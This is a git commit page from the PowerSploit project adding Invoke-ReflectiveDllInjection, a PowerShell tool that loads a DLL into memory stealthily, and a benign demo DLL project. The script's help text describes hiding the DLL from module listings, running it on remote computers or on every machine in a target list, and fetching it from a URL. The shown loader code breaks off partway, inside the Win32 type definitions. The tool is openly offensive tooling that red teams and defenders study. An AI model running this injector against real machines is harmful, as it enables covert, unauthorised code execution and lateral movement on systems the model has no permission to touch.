diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-04-06 07:04:16 -0400 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-04-06 07:04:16 -0400 |
commit | 2224f4dca9d856f37a02a9fe4c1941d27c4e564f (patch) | |
tree | 058c9943e5b8d277600b04095ffcb644d8cddf19 /CodeExecution | |
parent | 014a7bb421477a18add25164d71e977574832c14 (diff) | |
download | PowerSploit-2224f4dca9d856f37a02a9fe4c1941d27c4e564f.tar.gz PowerSploit-2224f4dca9d856f37a02a9fe4c1941d27c4e564f.zip |
Adding reflective DLL loading capability
Adding Invoke-ReflectiveDllInjection. PowerSploit now has reflective DLL
loading capabilities!!! Thanks to Joe Bialek @JosephBialek for writing
this awesome code!
Diffstat (limited to 'CodeExecution')
-rw-r--r-- | CodeExecution/CodeExecution.psd1 | 2 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL.sln | 26 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL.v11.suo | bin | 0 -> 11264 bytes | |||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.cpp | 60 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.h | 17 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj | 167 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.filters | 42 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.user | 3 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/ReadMe.txt | 40 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/dllmain.cpp | 19 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.cpp | 8 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.h | 20 | ||||
-rw-r--r-- | CodeExecution/DemoReflectiveDLL/DemoDLL/targetver.h | 8 | ||||
-rw-r--r-- | CodeExecution/Invoke-ReflectiveDllInjection.ps1 | 1545 |
14 files changed, 1956 insertions, 1 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 43360de..180c25e 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Usage.md' + 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectiveDllInjection.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL.sln b/CodeExecution/DemoReflectiveDLL/DemoDLL.sln new file mode 100644 index 0000000..55267b4 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoDLL", "DemoDLL\DemoDLL.vcxproj", "{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|Win32.ActiveCfg = Debug|Win32 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|Win32.Build.0 = Debug|Win32 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|x64.ActiveCfg = Debug|x64 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Debug|x64.Build.0 = Debug|x64 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|Win32.ActiveCfg = Release|Win32 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|Win32.Build.0 = Release|Win32 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|x64.ActiveCfg = Release|x64 + {F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL.v11.suo b/CodeExecution/DemoReflectiveDLL/DemoDLL.v11.suo Binary files differnew file mode 100644 index 0000000..f1bd5a6 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL.v11.suo diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.cpp b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.cpp new file mode 100644 index 0000000..61380d3 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.cpp @@ -0,0 +1,60 @@ +// DemoDLL.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" +#include "DemoDLL.h" + +using namespace std; + + +extern "C" __declspec( dllexport ) char* StringFunc() +{ + ostream *outputStream = NULL; + + //If you want to output to cout, simply set outputStream to &cout. This allows you to write a program that can switch between outputting to string or to cout. + //outputStream = &cout; + + ostringstream *stringStream = new ostringstream(); + outputStream = stringStream; + + (*outputStream) << "String DLL function is working" << endl << endl; + + string output = (*stringStream).str(); + const char* outputStr = output.c_str(); + + char* out = new char[output.size()+1]; + strcpy(out, outputStr); + out[output.size()] = '\0'; + + + return out; +} + +extern "C" __declspec( dllexport ) void VoidFunc() +{ + printf("Void DLL function is working, using printf to display. You will only see this if you run locally.\n\n"); + return; +} + +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() +{ + wostream *outputStream = NULL; + + //If you want to output to wcout, simply set outputStream to &cout. This allows you to write a program that can switch between outputting to wstring or to wcout. + outputStream = &wcout; + + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + (*outputStream) << L"WString DLL function is working" << endl << endl; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + + wchar_t* out = new wchar_t[output.size()+1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + + return out; +}
\ No newline at end of file diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.h b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.h new file mode 100644 index 0000000..2cb11a0 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.h @@ -0,0 +1,17 @@ +// The following ifdef block is the standard way of creating macros which make exporting +// from a DLL simpler. All files within this DLL are compiled with the DEMODLL_EXPORTS +// symbol defined on the command line. This symbol should not be defined on any project +// that uses this DLL. This way any other project whose source files include this file see +// DEMODLL_API functions as being imported from a DLL, whereas this DLL sees symbols +// defined with this macro as being exported. +#ifdef DEMODLL_EXPORTS +#define DEMODLL_API __declspec(dllexport) +#else +#define DEMODLL_API __declspec(dllimport) +#endif + +using namespace std; + +extern "C" __declspec( dllexport ) char* StringFunc(); +extern "C" __declspec( dllexport ) void VoidFunc(); +extern "C" __declspec( dllexport ) wchar_t* WStringFunc();
\ No newline at end of file diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj new file mode 100644 index 0000000..788891f --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj @@ -0,0 +1,167 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{F4F1D8EF-4069-40F3-9AAB-F75BAD26CBBA}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>DemoDLL</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;DEMODLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <None Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="DemoDLL.h" /> + <ClInclude Include="stdafx.h" /> + <ClInclude Include="targetver.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="DemoDLL.cpp" /> + <ClCompile Include="dllmain.cpp"> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + </PrecompiledHeader> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + </PrecompiledHeader> + </ClCompile> + <ClCompile Include="stdafx.cpp"> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader> + </ClCompile> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.filters b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.filters new file mode 100644 index 0000000..40f585c --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.filters @@ -0,0 +1,42 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <None Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="targetver.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="DemoDLL.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ClCompile Include="stdafx.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="DemoDLL.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="dllmain.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.user b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.user new file mode 100644 index 0000000..ace9a86 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/DemoDLL.vcxproj.user @@ -0,0 +1,3 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> +</Project>
\ No newline at end of file diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/ReadMe.txt b/CodeExecution/DemoReflectiveDLL/DemoDLL/ReadMe.txt new file mode 100644 index 0000000..0edff7b --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + DYNAMIC LINK LIBRARY : DemoDLL Project Overview +======================================================================== + +AppWizard has created this DemoDLL DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your DemoDLL application. + + +DemoDLL.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +DemoDLL.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +DemoDLL.cpp + This is the main DLL source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named DemoDLL.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/dllmain.cpp b/CodeExecution/DemoReflectiveDLL/DemoDLL/dllmain.cpp new file mode 100644 index 0000000..69b5891 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.cpp b/CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.cpp new file mode 100644 index 0000000..f18a679 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// DemoDLL.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.h b/CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.h new file mode 100644 index 0000000..a67fe85 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/stdafx.h @@ -0,0 +1,20 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include <windows.h> +#include <string> +#include <ostream> +#include <sstream> +#include <iostream> + + + +// TODO: reference additional headers your program requires here diff --git a/CodeExecution/DemoReflectiveDLL/DemoDLL/targetver.h b/CodeExecution/DemoReflectiveDLL/DemoDLL/targetver.h new file mode 100644 index 0000000..87c0086 --- /dev/null +++ b/CodeExecution/DemoReflectiveDLL/DemoDLL/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include <SDKDDKVer.h> diff --git a/CodeExecution/Invoke-ReflectiveDllInjection.ps1 b/CodeExecution/Invoke-ReflectiveDllInjection.ps1 new file mode 100644 index 0000000..72d0ee5 --- /dev/null +++ b/CodeExecution/Invoke-ReflectiveDllInjection.ps1 @@ -0,0 +1,1545 @@ +Function Invoke-ReflectiveDllInjection +{ +<# +.SYNOPSIS + +Reflectively loads a DLL in to memory of the Powershell process. +Because the DLL is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + +This tool can be run on remote servers by supplying a local DLL to load in to memory on the remote system, +this will load and execute the DLL in to memory without writing any files to disk. + +PowerSploit Function: Invoke-ReflectiveDllInjection +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Reflectively loads a DLL in to the powershell process. + +.PARAMETER DllPath + +The path of the DLL to load and execute a function from. + +.PARAMETER DllUrl + +A URL to download the DLL from + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on + +.PARAMETER FuncReturnType + +Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + +.EXAMPLE + +Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). +Note that the file name on the website can be any file extension. +Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +Invoke-ReflectiveDllInjection -DllPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local + +.EXAMPLE + +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. +Invoke-ReflectiveDllInjection -DllPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + +.NOTES + +Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" +I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return +the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the +returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: +wchar_t* : FuncReturnType = WString +char* : FuncReturnType = String +void : Default, don't supply a FuncReturnType + +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: +WString : WStringFunc +String : StringFunc +Void : VoidFunc + +These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would +be declared as follows: +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify +this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +.LINK + +http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ +https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +#> + +[CmdletBinding(DefaultParameterSetName="WebFile")] +Param( + [Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)] + [String] + $DllPath, + + [Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)] + [Uri] + $DllUrl, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void' +) + +Set-StrictMode -Version 2 + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $DllBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name 